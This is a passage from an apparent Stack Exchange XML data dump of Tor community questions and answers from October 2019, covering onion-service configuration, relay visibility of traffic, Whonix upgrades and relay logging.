/etc/tor/torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /home/www/secret/&#xA;HiddenServiceVersion 2&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;nginx config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /etc/nginx/sites-available/hidden_service &#xA;server {&#xA;        listen 80;&#xA;        listen [::]:80;&#xA;        server_name 3vvvvvvvb.onion;&#xA;        root /home/www/secret;&#xA;        index index.html index.php;&#xA;        access_log /var/log/nginx/access.log;&#xA;        error_log /var/log/nginx/error.log;&#xA;        charset     utf-8;&#xA;&#xA;&#xA;        location / {&#xA;                try_files $uri $uri/ @uwsgi;&#xA;        }&#xA;        location /media  {&#xA;                alias /home/www/secret/html/media;  # your Django project's media files - amend as required&#xA;        }&#xA;        location /static {&#xA;                alias /home/www/secret/html/static; # your Django project's static files - amend as required&#xA;        }&#xA;        location @uwsgi {&#xA;                uwsgi_pass      django;&#xA;                include /home/www/secret/html/uwsgi_params;&#xA;        }&#xA;&#xA;&#xA;        location ~ \.php$ {&#xA;                include snippets/fastcgi-php.conf;&#xA;                fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;&#xA;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue hooked back into uwsgi and after unglueing uwsgi, has yielded an entirely different issue.&lt;/p&gt;&#xA;" OwnerUserId="27884" LastEditorUserId="27884" LastEditDate="2019-10-14T16:09:37.817" LastActivityDate="2022-04-02T00:04:40.403" Title="hidden_services only works with invalid permissions" Tags="|tor-browser-bundle|onion-services|systemd|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20398" PostTypeId="2" ParentId="20397" CreationDate="2019-10-08T19:37:02.450" Score="0" Body="&lt;p&gt;You didn't say how you edited your torrc file or which linux distro you are using so let me explain how I do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, your tor hostname and private key are in /var/lib/tor.  If you change the permissions to this directory or the ones under it, you will have problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I uncomment in /etc/tor/torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/ &#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HiddenServiceDir&lt;/strong&gt; is where Tor saves my hostname and private key.  This is not where you want to be putting the files for your website. This should actually be secret and not allowed for anyone to see except you or someone can spoof your website.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2019-10-08T19:56:57.277" LastActivityDate="2019-10-08T19:56:57.277" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20399" PostTypeId="2" ParentId="20093" CreationDate="2019-10-09T05:56:07.383" Score="1" Body="&lt;p&gt;The WKD URL for the validation key for TBB is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://openpgpkey.torproject.org/.well-known/openpgpkey/hu/kounek7zrdx745qydx6p59t9mqjpuhdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, using the command given in the official instructions doesn't contact the public keyserver network, so you wouldn't be at risk of that attack anyway, even if you were a high risk user.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-09T05:56:07.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20400" PostTypeId="2" ParentId="16605" CreationDate="2019-10-09T14:46:17.270" Score="0" Body="&lt;p&gt;You would simply connect to your VPN using their client (or by using another client like OpenVPN or WireGurd) and you would start up Tor Browser. Your entire internet traffic will be routed through Your VPN, and everything in Tor Browser will be routed through your VPN and then Tor.&lt;/p&gt;&#xA;" OwnerUserId="27892" LastActivityDate="2019-10-09T14:46:17.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20402" PostTypeId="1" CreationDate="2019-10-09T18:02:03.910" Score="0" ViewCount="111" Body="&lt;p&gt;Does the exit node see which second node transmitted the given traffic, and do other nodes see the same thing? (Does node see the previous node that sent&#xA;this traffic?) And do nodes see any nodes of the chain, except previous and/or next using in the transmission of this traffic (for example, does exit node&#xA;see which first node sent this traffic, etc) and if yes, which nodes see and what?&lt;/p&gt;&#xA;" OwnerUserId="27863" LastActivityDate="2019-10-13T21:46:34.243" Title="Does the exit node see which second node transmitted the given traffic?" Tags="|node|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20403" PostTypeId="2" ParentId="20402" CreationDate="2019-10-09T22:20:11.257" Score="1" Body="&lt;p&gt;Each link in the &quot;chain&quot; of nodes that make up a circuit can see who the previous and next links are, but (absent misconfiguration or attack) no more than that.  So the exit node know who sent it the cell, but it doesn't know who the entry node was.  The middle node knows who the entry and exit nodes are, but doesn't know who connected to the entry node (the user) nor who the exit node is talking to (the destination).&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-09T22:20:11.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20404" PostTypeId="2" ParentId="20373" CreationDate="2019-10-10T02:49:59.880" Score="0" Body="&lt;p&gt;Thanks a lot, Sir. I will re-download Whonix, to install it anew - I had the 64bit merely a year old Version. Your Post is very helpful, I will yet look up all the Links in it. &quot;Re-installing&quot; Whonix is no &quot;problem&quot;, but can for some Users be a more than 2 hours hassle, to recreate all these cloned, differently purposed Virtualbox Whonix VMs again, - with each different Programs installed, but I'll just take notes, which Programs I got in the different VMs, and also, of course, dpkg can output the installed programs list conveniently. I appreciate Whonix ENORMOUSLY - I will even before reinstalling try, if I can repair it, which would be much less hassle for me. I am extremely thankful for your so careful Reply, and that gives me a good Mood too. Thanks so much. But, I do know Linux, quite a bit. As Whonix did these two errors (updating not possible, as repository not updateable, whole reinstallation needed thusly, and the other kdesudo error in the Gateway not removable) quite to itself, I don't see, how You can demand &quot;Whonix-nearness&quot; from a User. A User uses the product. But that's all. A good product doesn't destroy itself, and is easily usable, as software. Whonix IS great, but could self-destroy itself quite less, in the future. Period. But thanks as said TRULY a lot for your Info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, I'd be glad, if You'd point me toward the new correct actual Repositories, as your Link points to an &quot;aws&quot; word containing NEW Repository, which isn't yet as such in my Whonix, in Synaptic. Also, the Whonix Support Page says, One should post here, and attach the Tag &quot;whonix&quot;. That Error with the kdesudo error message in the Gateway, You pointed me SO brilliantly perfectly to. I JUST need the indication of the newest Repositories of Whonix now, -- this isn't prioritarily easily seeably indicated on the Whonix Website, sadly, yet. All a User of previous (64bit) Whonix Versions namely has to do, is renew the Repositories, so a (painful) new Installation IS NOT needed, then, with the new Repos. I myself REALLY don't find, where these (new) Whonix-Repos are neatly listed. MEGA Thanks, dear Friend of Computing. I'll check back here in under a Week, but feel truly no stress. I thank Ya so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reading here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Whonix_Stable_Release&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Whonix_Stable_Release&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;, that actually, I merely need to replace the &quot;stretch&quot; term, in Synaptic's Repos, by the &quot;buster&quot; term - thusly, I didn't need this additional option with apt, but I could just do update and upgrade, by apt, which now works. What I simply didn't know, is, that the initial 64bit &quot;stretch&quot; Debian-Version, -Base, of Whonix, was updated to the &quot;buster&quot; codeword newer level of Debian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be lovely, in the Future, would be, if that &quot;Whonix Repository&quot; Tool could actually automatically, when started, upgrade the Repository, so the User has to enter oneself nothing, and &quot;gets&quot; always then the newest Repository, without having to even think of whatever Debian-Version-Levels. I AM sure, in a max 2 years, this is so. At last, I say, I hope I don't mess up my Whonix (I test it merely in one VM) by just replacing my stretch-repos by buster-repos, merely concerning the Debian-Repos. I DO also wonder, WHY I don't NEED that additional option, to &quot;allow&quot; &quot;explicitely&quot; that new Repo -- all I can say is, I'm updating my Whonix now to Buster Version Level of Debian, and am SO thankful, that EVEN this OTHER &quot;kdesudo&quot; error of the Gateway IS documented. Yet, anyway, a clear Indication on the Whonix-Website, about what exact current Repos are used, would be needed, would serve the Fame of Whonix. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my further question I had in mind just now, is now answered: I MERELY had to change all &quot;stretch&quot; words, to &quot;buster&quot;, in Synaptic's Repos; THAT actually DOES give to the User that new &quot;aws&quot; word containing ACTUAL new Buster Repo, - as I just saw that clearly, me looking into the upgrade-process - I there merely had to indicate my local regional language keyboard layout; While upgrading, that new &quot;aws&quot; Repo IS used, actually, - it is accessed automatically, once the &quot;buster&quot; codeword is used, instead of the &quot;stretch&quot; codeword, for Repos. I think, all is fine. And of course, after sudo apt update, and sudo apt upgrade, I do sudo apt dist-upgrade. It's surely now gonna work fine. Wow. Thanks SO mega. Awesome! :) Truly Thanks. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While upgrading at first a Whonix Workstation from stretch to buster, I said &quot;Y&quot;, thusly took the newest Choices, when apt asked me about the two Packages Anon_Sources_List and Anon_Base_Files. The Workstation after upgrade, dist-upgrade and autoremove, booted up fine; YET, I had SOME errors, which I saw, as apt installed the buster packages, which errors I could not go back to (the console's go-back memory is limited, small, of LxTerm), but then, one final &quot;small&quot; error went &quot;hostname: non-recoverable failure in name resolution&quot; - yet, the then after dist-upgrade up-booted Whonix Workstation runs here the Tor Browser fine, so thusly, I assume, there is no &quot;major&quot; error at all, as these around four errors ARE probably normal in Whonix, which doesn't use these few in errors resulting functions of Debian, I assume. Short sum up, me realising, that a change from stretch to buster repos must be, was key in enabling me, to not have to resort to reinstall the whole Whonix, but to update it. That's a huge relief.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;fatal&quot; errors there during apt upgrade were: &quot; insserv: FATAL: service mountkernfs has to be enabled to use service networking / insserv: FATAL: service urandom has to be enabled to use service networking &quot; -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose at another point there &quot;don't touch keymap&quot;, and also &quot;restart services&quot; (of course), and chose &quot;Y&quot; to take the newest Version, at the Config File &quot;/etc/machine-id&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Foremostly now, in the System Menu, there's in the Gateway a new Entry called &quot;NYX&quot;, which IS itself the new &quot;Arm&quot;, and the old shortcut to the old &quot;Arm Controller&quot; simply has to be replaced by this new &quot;NYX&quot; Controller, which IS already in the System Menu, really convenient. A simple look into the Directory, after the old Arm Controller Shortcut results in an error message, reveals, what is, contains the new &quot;NYX&quot; Link, that IS quite crucial. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THE REALLY ONLY thingo bothering me IS though, that I can't seem to know, how so set a fix Mouse Cursor Size, LOL, as the Mouse Cursor is either in cases reset to being the small black standard Cursor INSTEAD of my Cursor Theme, or is simply mostly too small, at minimal Size actually, every time when booting up a Workstation or Gateway. I NOWHERE found a Documentation of this: The mere Mouse Cursor ACTUAL Size, in which Config File. Yet I mention this here merely, to finally display, that that's my sole issue remaining. Thusly, Whonix ROCKS - I use it on a Sparky Linux Host OS, as in Sparky Linux, unlike in Linux Mint and Ubuntu, qt5ct (qt5settings) works, which paints Virtualbox's Control Window nicely in the own custom colors, instead of in the normal ugly white backgrounded standard theme. I use pglgui in the Host and in all VMs. Stacer is the best Linux Service Manager, course. I use dphys-swapfile, on the Sparky Linux Host OS, instead of a swap partition, is a great advantage. Yet btw, dphys-swapfile can't quite speed up copyjobs' speed, on Laptops, which got a slow USB2 Connection to external Harddisks, so for downloading, I will anyway build a cheap &quot;Download-PC&quot;, with a low watt power-supply, purposed for Downloading, which PC then has SATA, and the same casing as my strong stationary PC's casing, so the Harddisk-exchange then is maximally easy. Yet, I use Whonix only for normal HTTP Downloads while normally surfing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new &quot;buster&quot; level Whonix is some even 10 percent FASTER, than the previous Versions. That enables it, to run even faster, also on an albeit strong, 16GB RAM Laptop. I used Whonix already in the old 32bit Version, since now surely two to three years. I would like to mention this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gosh, was I glad, that my Gateway wasn't &quot;broken&quot; after upgrade, but that merely the Arm Controller is now called &quot;NYX&quot; and has a new Shortcut. Whonix IS perfect, rocks. Thanks SO much, good Sir.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I of course do the &quot;NYX&quot; new Arm Link into the Autostarts, in the &quot;Sessions and Startup&quot; System Menu, whereas I simply copied the Link (Command Phrase), which menulibre, the Menu Editor (which one should install), displays for the &quot;NYX&quot; Link, that, I copied into the command entry in the newly by me done Autostart of the NYX Console, so it starts up, when the Gateway boots. &lt;/p&gt;&#xA;" OwnerUserId="27866" LastEditorUserId="27866" LastEditDate="2019-10-10T05:56:51.763" LastActivityDate="2019-10-10T05:56:51.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20405" PostTypeId="2" ParentId="20402" CreationDate="2019-10-10T12:15:06.270" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the exit node see which second node transmitted the given traffic&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. It also knows where the traffic is going (e.g. which server the user wants to talk to). Generally speaking, every node in the network knows where it's traffic is coming from and where it is going. But as long as the nodes in the chain don't cooperate, it can't know anything beyond that.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The reason&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Tor is an overlay network that sits on the public internet. On the internet, hosts communicate by sending packets to each other. All of them carry the sender and destination address (two IP addresses). The sender address is necessary so that the destination knows where to send the reply to, and the destination address is obviously necessary so the routers on the internet know where to send the packet to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a Tor node, which sits on a public internet host, can always figure out where traffic it gets came from by looking at the sender (source) IP address of the IP packets it gets. Conceptually, this happens at the IP layer of the TCP/IP reference model, while Tor sits at the application layer (two layers up), so it can't do anything about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor's reason of existence is to make it possible to hide the source IP addresses of a communication flow's packets, which isn't something the IP and TCP/IP protocols were designed to do. Since Tor uses these protocols, it's nodes can't hide from each other.&lt;/p&gt;&#xA;" OwnerUserId="15210" LastActivityDate="2019-10-10T12:15:06.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20406" PostTypeId="1" CreationDate="2019-10-10T12:25:42.270" Score="0" ViewCount="62" Body="&lt;p&gt;Can I see it any way, and if yes, where, how many people are transmitting traffic through my entry or relay node now (live)? Maybe there are some sites or software where I can see if my node is the entry,  who is connected now to my entry node (their ip's) and the relay node addresses, which now in real time transmit traffic through my entry or relay node, and if it can be in any way to see, &#xA;please write the names of these utilities or the addresses of sites where I can see it.&lt;/p&gt;&#xA;" OwnerUserId="27863" LastActivityDate="2019-10-10T19:46:52.480" Title="How to see how many people are transmitting traffic through my entry or relay node now (live)?" Tags="|node|entry|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20407" PostTypeId="2" ParentId="20406" CreationDate="2019-10-10T19:46:52.480" Score="1" Body="&lt;p&gt;I believe what you're looking for is Nyx: &lt;a href=&quot;https://nyx.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://nyx.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2019-10-10T19:46:52.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20410" PostTypeId="1" CreationDate="2019-10-11T13:50:51.623" Score="0" ViewCount="310" Body="&lt;p&gt;recently, I want to analysis the Tor source code,but I don't known how and where to begin. If any volunteer knows how to do it, please share some experience with me. I'd like to know the details of Tor's work through source code analysis, such as which part of the source code is the link selection, which part of the source code is the relay node from the directory server, which part of the source code is the exit node selection, and so on.There is also a question to make some changes about the Tor source code and to recompile.&#xA;thank you very much if you can give me some suggestions&lt;/p&gt;&#xA;" OwnerUserId="27437" LastActivityDate="2019-10-12T08:33:32.190" Title="Tor source code analysis" Tags="|help|" AnswerCount="1" CommentCount="3" ClosedDate="2019-10-13T16:03:13.333" ContentLicense="CC BY-SA 4.0" />
  <row Id="20411" PostTypeId="1" CreationDate="2019-10-11T15:25:17.810" Score="0" ViewCount="1323" Body="&lt;p&gt;I am running an iMac OS 10.15 (Catalina) and tried to install TorBrowser. I successfully downloaded the .dmg, but when I tried to load it I received an error message &quot;updater can't be opened because Apple cannot check it for maliciious software&quot;&#xA;Please advise.&#xA;Thank you&#xA;/gh                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   &lt;/p&gt;&#xA;" OwnerUserId="27895" LastActivityDate="2022-04-08T20:06:25.627" Title="TorBrowser installer can't be opened" Tags="|mac|tor-install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20412" PostTypeId="2" ParentId="20411" CreationDate="2019-10-11T16:30:16.253" Score="0" Body="&lt;p&gt;This really has nothing to do with Tor Browser and is a general Mac issue. I don't use Macs but I googled this issue and found the fix &lt;a href=&quot;https://support.apple.com/en-us/HT202491&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The summary is that you need to go into your security settings and tell your Mac to open it anyway.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-11T16:30:16.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20413" PostTypeId="1" AcceptedAnswerId="20414" CreationDate="2019-10-11T19:11:22.487" Score="1" ViewCount="376" Body="&lt;p&gt;Reading &lt;a href=&quot;https://tor.stackexchange.com/questions/356/why-isnt-there-any-such-option-middle-relay-behind-nat&quot;&gt;Why isn&amp;#39;t there any such option - middle-relay behind NAT?&lt;/a&gt; it seems there are (were?) no way to run a tor middle-relay if you are behind NAT and cannot control the firewall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has that changed or are there other ways I can help the tor network if I have a server with 1 Gbps bandwidth which sits behind a firewall I cannot change?&lt;/p&gt;&#xA;" OwnerUserId="1129" LastActivityDate="2019-10-11T23:35:14.187" Title="1 Gbps server behind NAT: Can I help the tor network?" Tags="|relays|firewall|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20414" PostTypeId="2" ParentId="20413" CreationDate="2019-10-11T23:35:14.187" Score="2" Body="&lt;p&gt;There is a possibility that the &lt;a href=&quot;https://snowflake.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;snowflake project&lt;/a&gt; might be of use to you.  While the frontpage talks mostly about browsers, there is an experimental Go-based standalone implementation which might be able to run on your behind-the-NAT server.  It isn't a proper Tor relay, merely a way for those who are severely restricted to get into the Tor network proper, but if you truly cannot configure &lt;em&gt;any&lt;/em&gt; port on the firewall (remember the ORport doesn't have to be a common port like 443) to be forwarded to the internal server, I believe that being a Snowflake node is the only option left available.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-11T23:35:14.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20415" PostTypeId="2" ParentId="20410" CreationDate="2019-10-12T08:26:43.963" Score="1" Body="&lt;p&gt;You can find Tor's source code on &lt;a href=&quot;https://github.com/torproject/tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github&lt;/a&gt;. Most of the cool stuff is in the &lt;a href=&quot;https://github.com/torproject/tor/tree/4185ef29fd637b4ca4aefffb4d50146acab395c3/src&quot; rel=&quot;nofollow noreferrer&quot;&gt;src folder&lt;/a&gt;. Some parts of the code are accompanied by comments that tell you what it does. &#xA;This is a sample code snippet from &lt;a href=&quot;https://github.com/torproject/tor/blob/2f683465d4b666c5d8f84fb3b234ad539d8511cd/src/feature/relay/dns.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;src/feature/relay/dns.h&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** How long do we cache/tell clients to cache DNS records when no TTL is&#xA; * known? */&#xA;#define DEFAULT_DNS_TTL (30*60)&#xA;&#xA;int dns_init(void);&#xA;int has_dns_init_failed(void);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, check out &lt;a href=&quot;https://pdfs.semanticscholar.org/3ea1/fdb14224b115941cc0f8520b7aff14d6bfe6.pdf?_ga=2.120546881.870090340.1570866521-764492592.1563563872&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt; which analyses Tor's code step by step. Here, you can see functions and explanations of what they do. To see the code under each function, simply search it in Tor's Github repo. &#xA;Here's an example screenshot from the paper:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WMWUq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WMWUq.png&quot; alt=&quot;Example description&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make edits to the code, you can either fork or download Tor's repo from Github. &lt;/p&gt;&#xA;" OwnerUserId="27900" LastEditorUserId="27900" LastEditDate="2019-10-12T08:33:32.190" LastActivityDate="2019-10-12T08:33:32.190" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20416" PostTypeId="1" CreationDate="2019-10-12T14:21:18.000" Score="0" ViewCount="504" Body="&lt;p&gt;I suppose that tor must start on startup, right? However, I usually need to restart it as if it's slow or not working at start. So, I use &lt;code&gt;sudo service tor stop&lt;/code&gt;, but it won't stop immediately or consistently. When I run &lt;code&gt;tor&lt;/code&gt; in command line again, it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 12 17:46:29.744 [notice] Tor 0.3.5.8 running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1b, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.3.8.&#xA;Oct 12 17:46:29.744 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Oct 12 17:46:29.744 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Oct 12 17:46:29.746 [notice] Based on detected system memory, MaxMemInQueues is set to 5769 MB. You can override this by setting MaxMemInQueues by hand.&#xA;Oct 12 17:46:29.747 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Oct 12 17:46:29.747 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Oct 12 17:46:29.747 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Oct 12 17:46:29.747 [warn] Could not bind to 127.0.0.1:9051: Address already in use. Is Tor already running? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sometimes, I must start and stop it for several times until to get a fresh run.&lt;/p&gt;&#xA;" OwnerUserId="27904" LastActivityDate="2019-10-12T14:21:18.000" Title="Tor doesn't stop after calling &quot;service stop&quot;" Tags="|startup|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="20417" PostTypeId="1" CreationDate="2019-10-12T17:40:13.260" Score="2" ViewCount="258" Body="&lt;p&gt;The Tor Browser is only available for: Intel-based 32 and 64-bit machines and only for Mac, Windows, and Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you are using *BSD, or are using a non-Intel system such as ARM, you can use the Tor daemon but not the browser so what would be the best option for browsing on these platform?&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2019-10-12T18:01:10.967" LastActivityDate="2021-05-22T17:07:15.820" Title="What is the best practice for browsing without the Tor Browser?" Tags="|browsers|raspberry-pi|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20418" PostTypeId="1" CreationDate="2019-10-12T23:41:25.193" Score="0" ViewCount="120" Body="&lt;p&gt;Does tor and entry or relay node with nyx utility keep in save any logs  that allow to get information that can deanonymize&#xA;the user (for example, any entries (notes, logs) about the ip-addresses of connections to the node, data packets, or any keys, etc.)? If so, where are &#xA;these logs and similar information keep on linux? And is it possible to completely, without the possibility of recovery, delete this data? Interested in ensuring safety&#xA;users who will transmit traffic through my entry or relay node.&lt;/p&gt;&#xA;" OwnerUserId="27863" LastActivityDate="2022-04-01T01:06:15.697" Title="Does tor and entry or relay node with nyx utility keep in save any logs that can deanonymize users of my node?" Tags="|node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20419" PostTypeId="2" ParentId="20418" CreationDate="2019-10-12T23:54:25.893" Score="0" Body="&lt;p&gt;As I understand it, unless you are operating your relay with debug logging turned on (not the default, and not a recommended setting), no uniquely-identifiable information is logged by Tor (or Nyx).  Other software, such as IDSes or firewalls, could potentially be capturing information, but that is not something within the remit of Tor itself.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-12T23:54:25.893" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20420" PostTypeId="1" CreationDate="2019-10-13T09:16:48.010" Score="1" ViewCount="542" Body="&lt;p&gt;So I'm just trying to understand the functioning of the Tor network from &lt;a href=&quot;https://robertheaton.com/2019/04/06/how-does-tor-work/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Robert Heaton fantastic article&lt;/a&gt;. My understanding is that the guaranty Tor tries to give is that &lt;strong&gt;no node knows which source IP is talking to which destination IP&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The guard node knows the source IP but not the destination.&lt;/li&gt;&#xA;&lt;li&gt;The middle node doesn't know the source IP, neither the destination.&lt;/li&gt;&#xA;&lt;li&gt;The exit node knows the destination IP but not the source.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My question is: what is the purpose of the middle node in ensuring the guaranty? If I remove the middle node from the list above, neither the guard node nor the exit node know about both the source and destination IP, so the system still works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if I control both the guard and exit nodes at once, I could correlate the logs to construct the logs of a full circuit, but that is also true with 3 nodes if I also control the middle node. In this case, why stop at 3 nodes? The more nodes there are in the circuit, the less likely it is that one entity is controlling them all.&lt;/p&gt;&#xA;" OwnerUserId="27909" LastActivityDate="2019-10-13T21:42:03.473" Title="What is the purpose of the middle node?" Tags="|node|middle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20421" PostTypeId="1" AcceptedAnswerId="20423" CreationDate="2019-10-13T10:36:57.887" Score="1" ViewCount="325" Body="&lt;p&gt;I've noticed that Tor connects to sites on clearnet with 3 relays (see first picture). In this particular example my packets go through relays in Germany, Canada and US. But when I connect to duck duck go on deepweb (see second picture), it uses 6 relays, 3 of which are concealed. Am I interpreting it correctly? If so, why are they secret? And why do I need 3 more to connect to the onion site? I've been researching a lot, but no guide mentioned this (maybe I got something confused). Thanks a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AUWm0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AUWm0.png&quot; alt=&quot;connecting through Tor to duckduckgo onion&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WKPFB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WKPFB.png&quot; alt=&quot;connection through Tor to duckduckgo on clearnet&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27910" LastActivityDate="2019-10-13T21:25:26.063" Title="Why does Tor use more relays when connecting to .onion site than to normal one?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20422" PostTypeId="2" ParentId="20420" CreationDate="2019-10-13T20:00:57.167" Score="0" Body="&lt;p&gt;It is significantly harder to correlate logs from &lt;code&gt;2 + n&lt;/code&gt; nodes than &lt;code&gt;2&lt;/code&gt; nodes.&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2019-10-13T20:00:57.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20423" PostTypeId="2" ParentId="20421" CreationDate="2019-10-13T21:25:26.063" Score="1" Body="&lt;p&gt;The general conception of an onion service is that both the client and the service should have anonymity, both from an eavesdropper and also each other.  If the client and service wish to identify themselves and their location to each other, they can do so by some application-level mechanism (such as by logging in), but Tor itself is going to work very hard to provide anonymity by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do this, both sides need to create a circuit whose routing they control, so as to prevent attacks from a malicious counterparty.  They do this by selecting a &quot;rendezvous&quot; node, which will pass traffic between the client's anonymity circuit and the service's.  If you think about who could be &quot;evil&quot; in this scenario, and what information they have access to, you can determine that the anonymity of both sides of the connection are no worse than that of any other operation within the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An interesting side-note: there are some services, such as Cloudflare's Tor access proxy, which do not need anonymity for themselves.  Everyone knows what Cloudflare's .onion addresses are, who Cloudflare is, and where their servers are.  Cloudflare isn't providing an onion service to hide their location, but instead only to make a more convenient way for Tor 